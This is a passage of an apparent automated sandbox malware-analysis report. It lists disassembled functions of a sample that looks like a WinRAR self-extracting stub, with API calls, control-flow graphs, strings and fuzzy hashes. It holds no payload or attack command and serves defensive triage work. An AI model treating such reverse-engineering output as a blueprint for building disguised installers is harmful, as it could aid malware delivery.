UnmapViewOfFile 538->541 541->534 544->515 568 d94848-d94865 call d85041 DeleteObject 566->568 569 d94843 call d8fb4b 566->569 567->566 573 d9486e-d94874 568->573 574 d94867-d94868 DeleteObject 568->574 569->568 575 d9488e-d9489c 573->575 576 d94876-d9487d 573->576 574->573 578 d9489e-d948aa call d93fcf CloseHandle 575->578 579 d948b0-d948bd 575->579 576->575 577 d9487f-d94889 call d794b8 576->577 577->575 578->579 582 d948bf-d948cb 579->582 583 d948e1-d948e5 call d8f53a 579->583 586 d948db-d948dd 582->586 587 d948cd-d948d5 582->587 589 d948ea-d94903 call d95734 583->589 586->583 588 d948df 586->588 587->583 590 d948d7-d948d9 587->590 588->583 590->583
                                                              APIs
                                                                • Part of subcall function 00D86D7B: GetModuleHandleW.KERNEL32(kernel32,562D4312), ref: 00D86DC7
                                                                • Part of subcall function 00D86D7B: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00D86DD9
                                                                • Part of subcall function 00D86D7B: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00D86E03
                                                                • Part of subcall function 00D81309: __EH_prolog3.LIBCMT ref: 00D81310
                                                                • Part of subcall function 00D81309: GetCurrentDirectoryW.KERNEL32(00000000,00000000,0000000C,00D817FB,?,?,\\?\,562D4312,?,?,?,00000000,00DAA279,000000FF), ref: 00D81319
                                                                • Part of subcall function 00D8F4D4: OleInitialize.OLE32(00000000), ref: 00D8F4ED
                                                                • Part of subcall function 00D8F4D4: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00D8F524
                                                                • Part of subcall function 00D8F4D4: SHGetMalloc.SHELL32(00DC532C), ref: 00D8F52E
                                                              • GetCommandLineW.KERNEL32 ref: 00D94608
                                                              • OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp,?,00000000), ref: 00D9464F
                                                              • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000009,?,00000000), ref: 00D94661
                                                              • UnmapViewOfFile.KERNEL32(00000000,?,00000000), ref: 00D9466F
                                                              • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,?,?,00000000), ref: 00D9467D
                                                                • Part of subcall function 00D8FC38: __EH_prolog3.LIBCMT ref: 00D8FC3F
                                                                • Part of subcall function 00D93EFC: __EH_prolog3_GS.LIBCMT ref: 00D93F03
                                                                • Part of subcall function 00D93EFC: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?,?,?,?,?,?,00000028), ref: 00D93F1B
                                                                • Part of subcall function 00D93EFC: SetEnvironmentVariableW.KERNEL32(sfxpar,?,?,?,?,?,?,?,00000028), ref: 00D93F86
                                                                • Part of subcall function 00D851BF: _wcslen.LIBCMT ref: 00D851E3
                                                              • UnmapViewOfFile.KERNEL32(00000000,00DC5430,00000400,00DC5430,00DC5430,00000400,00000000,00000001,?,00000000), ref: 00D946CC
                                                              • CloseHandle.KERNEL32(00000000,?,00000000), ref: 00D946D3
                                                              • SetEnvironmentVariableW.KERNEL32(sfxname,00DB9698,00000000), ref: 00D9472F
                                                              • GetLocalTime.KERNEL32(?), ref: 00D9473A
                                                              • _swprintf.LIBCMT ref: 00D94779
                                                              • SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00D9478E
                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 00D94795
                                                              • LoadIconW.USER32(00000000,00000064), ref: 00D947AC
                                                              • DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_00020900,00000000), ref: 00D94803
                                                              • Sleep.KERNELBASE(00001B58), ref: 00D94834
                                                              • DeleteObject.GDI32 ref: 00D94858
                                                              • DeleteObject.GDI32(0B050E6F), ref: 00D94868
                                                                • Part of subcall function 00D714A7: _wcslen.LIBCMT ref: 00D714B8
                                                                • Part of subcall function 00D919EE: __EH_prolog3_GS.LIBCMT ref: 00D919F5
                                                              • CloseHandle.KERNEL32 ref: 00D948AA
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: File$EnvironmentHandleVariableView$AddressCloseDeleteH_prolog3H_prolog3_ModuleObjectProcUnmap_wcslen$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingOpenParamSleepStartupTime_swprintf
                                                              • String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
                                                              • API String ID: 3142445277-3710569615
                                                              • Opcode ID: af46e5d117b22f0bbc9ffeed0b765bb0aad16b95c630afdfc6514ffe7e031384
                                                              • Instruction ID: 57faa5f83e0522883d721b97760296455d6e637b17f7bf9b2bb59ba5092fa5ae
                                                              • Opcode Fuzzy Hash: af46e5d117b22f0bbc9ffeed0b765bb0aad16b95c630afdfc6514ffe7e031384
                                                              • Instruction Fuzzy Hash: 8991BAB1604786EFC720BB64EC45FABB7E8EB49700F40091DF949D2292EB74A945CB31
                                                              Function 00D8EBD3 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100memorywindowCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 608 d8ebd3-d8ebf0 FindResourceW 609 d8ecec 608->609 610 d8ebf6-d8ec07 SizeofResource 608->610 611 d8ecee-d8ecf2 609->611 610->609 612 d8ec0d-d8ec1c LoadResource 610->612 612->609 613 d8ec22-d8ec2d LockResource 612->613 613->609 614 d8ec33-d8ec48 GlobalAlloc 613->614 615 d8ec4e-d8ec57 GlobalLock 614->615 616 d8ece4-d8ecea 614->616 617 d8ecdd-d8ecde GlobalFree 615->617 618 d8ec5d-d8ec7b call d96c70 CreateStreamOnHGlobal 615->618 616->611 617->616 621 d8ec7d-d8ec9f call d8eb06 618->621 622 d8ecd6-d8ecd7 GlobalUnlock 618->622 621->622 627 d8eca1-d8eca9 621->627 622->617 628 d8ecab-d8ecbf GdipCreateHBITMAPFromBitmap 627->628 629 d8ecc4-d8ecd2 627->629 628->629 630 d8ecc1 628->630 629->622 630->629
                                                              APIs
                                                              • FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00D90845,00000066), ref: 00D8EBE6
                                                              • SizeofResource.KERNEL32(00000000,?,?,?,00D90845,00000066), ref: 00D8EBFD
                                                              • LoadResource.KERNEL32(00000000,?,?,?,00D90845,00000066), ref: 00D8EC14
                                                              • LockResource.KERNEL32(00000000,?,?,?,00D90845,00000066), ref: 00D8EC23
                                                              • GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00D90845,00000066), ref: 00D8EC3E
                                                              • GlobalLock.KERNEL32(00000000), ref: 00D8EC4F
                                                              • CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00D8EC73
                                                              • GlobalUnlock.KERNEL32(00000000), ref: 00D8ECD7
                                                                • Part of subcall function 00D8EB06: GdipAlloc.GDIPLUS(00000010), ref: 00D8EB0C
                                                              • GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00D8ECB8
                                                              • GlobalFree.KERNEL32(00000000), ref: 00D8ECDE
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
                                                              • String ID: PNG
                                                              • API String ID: 211097158-364855578
                                                              • Opcode ID: ada6c540825d76df7d28a37a423216b177b1f0bf2ab934e2ec45b0564a6af3f1
                                                              • Instruction ID: 9b1c6092f5452d37c6bb4710bc5ddd01ce1cd49814e4754a381b0592b6da7d50
                                                              • Opcode Fuzzy Hash: ada6c540825d76df7d28a37a423216b177b1f0bf2ab934e2ec45b0564a6af3f1
                                                              • Instruction Fuzzy Hash: 4F312B71A10702ABD721AF61DD48D6BBFA9FB85764B080529F906D2361EB31D841CBB1
                                                              Function 00D8355D Relevance: 14.8, APIs: 2, Strings: 6, Instructions: 753COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D88781: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,562D4312,00000007,?,?,?,00D88751,?,?,?,?,0000000C,00D74426), ref: 00D8879D
                                                              • _wcslen.LIBCMT ref: 00D8395A
                                                              • __fprintf_l.LIBCMT ref: 00D83AA7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide__fprintf_l_wcslen
                                                              • String ID: ,$$%s:$*messages***$*messages***$@%s:$RTL
                                                              • API String ID: 1796436225-285229759
                                                              • Opcode ID: 93d158157a79e4a5d5611d2dc8b57e1d2194e5e820d2841950d7d4c69d816601
                                                              • Instruction ID: e3cabe604f8686b75b8e8119f2437856e925c34db610ff87077dd7746d8b38f5
                                                              • Opcode Fuzzy Hash: 93d158157a79e4a5d5611d2dc8b57e1d2194e5e820d2841950d7d4c69d816601
                                                              • Instruction Fuzzy Hash: C752A371900259AFDF24EFA8CC45AEDB7B5FF04B10F14052AE909EB281EB719A45CB70
                                                              Function 00D7F826 Relevance: 9.1, APIs: 6, Instructions: 139fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1006 d7f826-d7f841 call d957d8 1009 d7f847-d7f84d 1006->1009 1010 d7f925-d7f935 FindNextFileW 1006->1010 1011 d7f851-d7f864 FindFirstFileW 1009->1011 1012 d7f84f 1009->1012 1013 d7f937-d7f946 GetLastError 1010->1013 1014 d7f948-d7f9fa call d725c3 call d714a7 call d8229d call d71a66 call d87c44 * 3 1010->1014 1011->1014 1016 d7f86a-d7f88e call d8169a 1011->1016 1012->1011 1017 d7f91d-d7f920 1013->1017 1020 d7f9ff-d7fa0a call d95787 1014->1020 1025 d7f890-d7f897 1016->1025 1026 d7f8ac-d7f8b6 1016->1026 1017->1020 1029 d7f89c-d7f8aa FindFirstFileW 1025->1029 1030 d7f899 1025->1030 1031 d7f8fd-d7f900 1026->1031 1032 d7f8b8-d7f8d3 1026->1032 1029->1026 1030->1029 1031->1014 1036 d7f902-d7f90b GetLastError 1031->1036 1033 d7f8d5-d7f8ee call d719a9 1032->1033 1034 d7f8f4-d7f8fc call d95726 1032->1034 1033->1034 1034->1031 1040 d7f90d-d7f910 1036->1040 1041 d7f91b 1036->1041 1040->1041 1045 d7f912-d7f915 1040->1045 1041->1017 1045->1041 1047 d7f917-d7f919 1045->1047 1047->1017
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7F830
                                                              • FindFirstFileW.KERNELBASE(?,?,00000274,00D7F733,000000FF,00000049,00000049,?,?,00D7A684,?,?,00000000,?,?,?), ref: 00D7F859
                                                              • FindFirstFileW.KERNEL32(?,?,?,?,?,00D7D303,?,?,?,?,?,?,?,562D4312,00000049), ref: 00D7F8A4
                                                              • GetLastError.KERNEL32(?,?,?,00D7D303,?,?,?,?,?,?,?,562D4312,00000049,?,00000000), ref: 00D7F902
                                                              • FindNextFileW.KERNEL32(?,?,00000274,00D7F733,000000FF,00000049,00000049,?,?,00D7A684,?,?,00000000,?,?,?), ref: 00D7F92D
                                                              • GetLastError.KERNEL32(?,00D7D303,?,?,?,?,?,?,?,562D4312,00000049,?,00000000), ref: 00D7F93A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: FileFind$ErrorFirstLast$H_prolog3_Next
                                                              • String ID:
                                                              • API String ID: 3831798110-0
                                                              • Opcode ID: c267bda52ee61694a72a73c64d2d9c870b43297022c49e1ca97686dad08e2217
                                                              • Instruction ID: 17664c5de9015a8c7021d08560322236c83cadf8206fc1f9f28fafc48f6e478c
                                                              • Opcode Fuzzy Hash: c267bda52ee61694a72a73c64d2d9c870b43297022c49e1ca97686dad08e2217
                                                              • Instruction Fuzzy Hash: BE510071904619DBCF24DF68D889AEDB7B4FF09320F1442A9E519E3290E730AA85CF75
                                                              Function 00D7BF3D Relevance: 5.0, APIs: 1, Strings: 1, Instructions: 1497COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _wcslen.LIBCMT ref: 00D7C342
                                                                • Part of subcall function 00D82095: __EH_prolog3_GS.LIBCMT ref: 00D8209C
                                                                • Part of subcall function 00D757C0: __EH_prolog3.LIBCMT ref: 00D757C7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3H_prolog3__wcslen
                                                              • String ID: __tmp_reference_source_
                                                              • API String ID: 1523997010-685763994
                                                              • Opcode ID: 105ddd629af416f8a85fc83905f526cf18d26f4301b0d17bbee3a40303e4fb4a
                                                              • Instruction ID: 85c6768a69c09734152f64beb1fb4f62e1396cf7d1c03bc59993fb955d42c907
                                                              • Opcode Fuzzy Hash: 105ddd629af416f8a85fc83905f526cf18d26f4301b0d17bbee3a40303e4fb4a
                                                              • Instruction Fuzzy Hash: 3BD2B1719142899FDB29DF64C891BEEBBB5FF05304F08811EE49E97241EB34A949CB70
                                                              Function 00D9ECAA Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32(00000000,?,00D9EC80,00000000,00DB6F40,0000000C,00D9EDD7,00000000,00000002,00000000), ref: 00D9ECCB
                                                              • TerminateProcess.KERNEL32(00000000,?,00D9EC80,00000000,00DB6F40,0000000C,00D9EDD7,00000000,00000002,00000000), ref: 00D9ECD2
                                                              • ExitProcess.KERNEL32 ref: 00D9ECE4
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Process$CurrentExitTerminate
                                                              • String ID:
                                                              • API String ID: 1703294689-0
                                                              • Opcode ID: 05a3225143a7033050baf33405a6bf449e9d182c911c8747fe282855f5915e4c
                                                              • Instruction ID: 66b92787cb79bd2e64c416761fd3eba0f061a57fe571c9d1b87b8cb0a3bad8d8
                                                              • Opcode Fuzzy Hash: 05a3225143a7033050baf33405a6bf449e9d182c911c8747fe282855f5915e4c
                                                              • Instruction Fuzzy Hash: 1EE0B632150608AFCF11AF55DE09A583B69EF52391F041424F945AA222CB36ED82DB70
                                                              Function 00D8B76F Relevance: .4, Instructions: 353COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3
                                                              • String ID:
                                                              • API String ID: 431132790-0
                                                              • Opcode ID: 775ba6504d3cc97e97723f0d78a1e170ca7d4e4b8916e1510c0d8874fff1458e
                                                              • Instruction ID: dd3242bc02ac95197b2617bdc4b6c272424b7aeca26fbe1bb0d8745d59dd7be7
                                                              • Opcode Fuzzy Hash: 775ba6504d3cc97e97723f0d78a1e170ca7d4e4b8916e1510c0d8874fff1458e
                                                              • Instruction Fuzzy Hash: 44E1B3715043458FDB24EF28C884B5BBBE5FF88314F08456EE8899B342D774E945CB62
                                                              Function 00D90900 Relevance: 88.4, APIs: 43, Strings: 7, Instructions: 935windowfilesleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_catch_GS.LIBCMT ref: 00D9090A
                                                                • Part of subcall function 00D71E44: GetDlgItem.USER32(00000000,00003021), ref: 00D71E88
                                                                • Part of subcall function 00D71E44: SetWindowTextW.USER32(00000000,00DAC6C8), ref: 00D71E9E
                                                              • EndDialog.USER32(?,00000000), ref: 00D90A18
                                                              • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D90A57
                                                              • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D90A71
                                                              • IsDialogMessageW.USER32(?,?), ref: 00D90A84
                                                              • TranslateMessage.USER32(?), ref: 00D90A92
                                                              • DispatchMessageW.USER32(?), ref: 00D90A9C
                                                              • EndDialog.USER32(?,00000001), ref: 00D90ADE
                                                              • GetDlgItem.USER32(?,00000068), ref: 00D90B04
                                                              • SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00D90B1F
                                                              • SendMessageW.USER32(00000000,000000C2,00000000,00DAC6C8), ref: 00D90B32
                                                              • SetFocus.USER32(00000000), ref: 00D90B39
                                                              • GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00D90C20
                                                              • GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00D90C4C
                                                              • GetTickCount.KERNEL32 ref: 00D90C79
                                                              • GetLastError.KERNEL32(?,00000011), ref: 00D90CD5
                                                              • GetCommandLineW.KERNEL32 ref: 00D90DF9
                                                              • _wcslen.LIBCMT ref: 00D90E06
                                                              • CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,?,winrarsfxmappingfile.tmp,?,00DC5430,00000400,00000001,00000001), ref: 00D90E85
                                                              • MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 00D90EA3
                                                              • ShellExecuteExW.SHELL32(0000003C), ref: 00D90EDC
                                                              • WaitForInputIdle.USER32(?,00002710), ref: 00D90F0B
                                                              • Sleep.KERNEL32(00000064), ref: 00D90F25
                                                              • UnmapViewOfFile.KERNEL32(?,?,?,?,?,?,?,00DC5430,00000400), ref: 00D90F61
                                                              • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00DC5430,00000400), ref: 00D90F6D
                                                              • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D91072
                                                                • Part of subcall function 00D71E1F: GetDlgItem.USER32(?,?), ref: 00D71E34
                                                                • Part of subcall function 00D71E1F: ShowWindow.USER32(00000000), ref: 00D71E3B
                                                              • SetDlgItemTextW.USER32(?,00000065,00DAC6C8), ref: 00D9108A
                                                              • GetDlgItem.USER32(?,00000065), ref: 00D91093
                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 00D910A2
                                                              • DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_000206D0,00000000,?), ref: 00D91422
                                                              • EndDialog.USER32(?,00000001), ref: 00D91436
                                                              • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00D910B1
                                                                • Part of subcall function 00D8E265: __EH_prolog3_GS.LIBCMT ref: 00D8E26C
                                                                • Part of subcall function 00D8E265: ShowWindow.USER32(?,00000000,00000038), ref: 00D8E294
                                                                • Part of subcall function 00D8E265: GetWindowRect.USER32(?,?), ref: 00D8E2D8
                                                                • Part of subcall function 00D8E265: ShowWindow.USER32(?,00000005,?,00000000), ref: 00D8E373
                                                              • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D9114F
                                                              • SendMessageW.USER32(?,00000080,00000001,0001041D), ref: 00D91284
                                                              • SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,0B050E6F), ref: 00D9129D
                                                              • GetDlgItem.USER32(?,00000068), ref: 00D912A6
                                                              • SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00D912BE
                                                              • GetDlgItem.USER32(?,00000066), ref: 00D912E6
                                                              • SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00D9135D
                                                              • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D91371
                                                              • EnableWindow.USER32(?,00000000), ref: 00D915A7
                                                              • SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00D915E8
                                                              • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D9160D
                                                                • Part of subcall function 00D91D4F: __EH_prolog3_GS.LIBCMT ref: 00D91D59
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Item$Message$TextWindow$Send$Dialog$ErrorFileLastShow$H_prolog3_LongView$CloseCommandCountCreateDispatchEnableExecuteFocusH_prolog3_catch_HandleIdleInputLineMappingParamRectShellSleepTickTranslateUnmapWait_wcslen
                                                              • String ID: -el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_$winrarsfxmappingfile.tmp
                                                              • API String ID: 3616063595-3000381960
                                                              • Opcode ID: 70cb99994b9292eed559c3000f0380b6e5f89f2e9fa7206a310a6f000e3b565b
                                                              • Instruction ID: 2bef4824497664d4c1145ab11a3e472bcff8dab99b2e284bca93ea7637ed15ef
                                                              • Opcode Fuzzy Hash: 70cb99994b9292eed559c3000f0380b6e5f89f2e9fa7206a310a6f000e3b565b
                                                              • Instruction Fuzzy Hash: C272BE7094434AAEEF21EBA4EC49FEE7BB8EF15304F044159F105A7292DBB45A85CB31
                                                              Function 00D86D7B Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 394libraryfileloaderCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 379 d86d7b-d86dd1 call d95b20 GetModuleHandleW 382 d86e28-d8708c 379->382 383 d86dd3-d86de3 GetProcAddress 379->383 386 d8719b 382->386 387 d87092-d8709d call d9e50e 382->387 384 d86dfd-d86e0d GetProcAddress 383->384 385 d86de5-d86dfb 383->385 384->382 389 d86e0f-d86e24 384->389 385->384 390 d8719d-d871be call d813f9 call d82117 386->390 387->386 394 d870a3-d870b8 call d813f9 387->394 389->382 402 d871c0-d871cc call d8067e 390->402 403 d870ba 394->403 404 d870bd-d870d5 CreateFileW 394->404 411 d871ce-d871dc call d86c5e 402->411 412 d87203-d87234 call d714a7 call d8229d call d71a66 call d7ed1f 402->412 403->404 406 d870db-d870e7 SetFilePointer 404->406 407 d87186-d87199 CloseHandle call d71a66 404->407 406->407 409 d870ed-d87107 ReadFile 406->409 407->390 409->407 413 d87109-d87114 409->413 411->412 423 d871de-d87201 CompareStringW 411->423 441 d87239-d8723c 412->441 417 d8711a-d8714d call d714a7 413->417 418 d873f2-d873f7 call d95ce1 413->418 429 d87161-d87174 call d86366 417->429 423->412 427 d8723e-d87242 423->427 427->402 430 d87248 427->430 436 d8714f-d87156 429->436 437 d87176-d87181 call d71a66 * 2 429->437 433 d8724c-d87250 430->433 438 d87252 433->438 439 d87296-d87298 433->439 446 d87158 436->446 447 d8715b-d8715c call d86c5e 436->447 437->407 445 d87254-d8728a call d714a7 call d8229d call d71a66 call d7ed1f 438->445 442 d873bd-d873ef call d71a66 * 2 call d95734 439->442 443 d8729e-d872b1 call d82187 call d8067e 439->443 441->427 449 d8724a 441->449 464 d87332-d87366 call d86a25 AllocConsole 443->464 465 d872b3-d87330 call d86c5e * 2 call d84318 call d86a25 call d84318 call d714a7 call d8ecf5 call d71549 443->465 482 d8728c-d87290 445->482 483 d87294 445->483 446->447 447->429 449->433 476 d87368-d873a7 GetCurrentProcessId AttachConsole call d87441 call d87436 GetStdHandle 